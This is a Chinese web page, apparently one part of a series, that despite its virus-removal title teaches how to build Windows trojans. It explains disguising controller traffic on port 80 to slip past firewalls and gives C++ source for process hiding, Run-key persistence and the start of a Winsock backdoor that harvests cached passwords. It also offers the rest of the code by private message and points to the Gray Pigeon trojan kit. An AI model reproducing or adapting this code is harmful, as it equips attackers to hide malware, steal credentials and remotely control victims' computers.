网络安全检测|网络安全服务|网络安全扫描-香港墨客投资移动版

主页 > 业界资讯 > 网络渗透测试

exe病毒专杀(exe病毒专杀软件)(5)

为了隐蔽起见,客户端 (控制端)的被动端口一般设置为80(浏览网页必须开的端口),这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情况,不明真相的用户就会以为自己在浏览网页,并且,防火墙一般不会禁止用户向外连接80端口。

主流木马:

exe病毒专杀(exe病毒专杀软件)

四、 木马程序的实现

1、 木马中的关键技术实现(附源码)

1) 木马程序隐藏技术

通过注册服务程序,实现进程伪隐藏的方法:

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
DWORD dwVersion = GetVersion();//取得Windows的版本号
if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表
{
int (CALLBACK *rsp)(DWORD,DWORD);
HINSTANCE dll=LoadLibrary(“KERNEL32.DLL”);//装入KERNEL32.DLL
rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,”RegisterServiceProcess”);//找到RegisterServiceProcess的入口
rsp(NULL,1);//注册服务
FreeLibrary(dll);//释放DLL模块
}
}
catch (Exception &exception)//处理异常事件
{
//处理异常事件
}
return 0;
} 

2) 程序的自启动运行技术

展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:

HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString(“+PName/”>//”)+PName
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
“SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//”,
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
“BackGroup”,
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
“open”,
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
Close();
}
else
{
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
“SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN”,
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
“BackGroup”,
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);
if (strcmp(str,”BGroup”)==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,”BGroup”);
break;
}
}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}

2、 WINSOCK编程完成一个简单”木马程序”实现(附源码)

用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能。

源代码如下:

#include <windows.h>
#include <winsock.h>
#include <mmsystem.h>
#pragma hdrstop
#include <condefs.h>
#pragma argsused
#define RUN “//WinMon32.exe”
//注册服务
#define SERVICE_PROC 1
//卸载服务
#define UNSERVICE_PROC 0
#define TH32CS_SNAPPROCESS 0x00000002
#define PROCESS_HANDLE_NAME 255
//缓冲区长度
#define dwBuffSize 2048
//命令行长度
#define dwComm 50
#define PORT 9102
#define WM_SOCKET WM_USER+1
#define PROMPT “LanLan://>”
DWORD dwVersion=MAKEWORD(1,1);
DWORD dwFlag=TRUE;
WSADATA wsaData;
SOCKET CreateSock,NewSock;
SOCKADDR_IN Sock_in,NewSock_in;
LPTSTR szReadBuff,Ob,TempBuff;
int addrlen;
//CACHE PASSWORD结构
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
char abResource[1];
} PASSWORD_CACHE_ENTRY;
typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD);
//CACHE PASSWORD函数原形
typedef WORD (WINAPI *PWNetEnumCachedPasswords)(
LPSTR pbPrefix,
DWORD cbPrefix,
DWORD nType,
CACHECALLBACK pfnCallback,
DWORD UNKNOWN
);
//TOOLHELP32 结构
typedef struct tagPROCESSENTRY32
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
DWORD th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
TCHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;
typedef PROCESSENTRY32 * LPPROCESSENTRY32;

注:由于文章篇幅限制剩余源码可以私信我单独发送

3、 利用”灰鸽子”工具软件制作木马

(责任编辑:admin)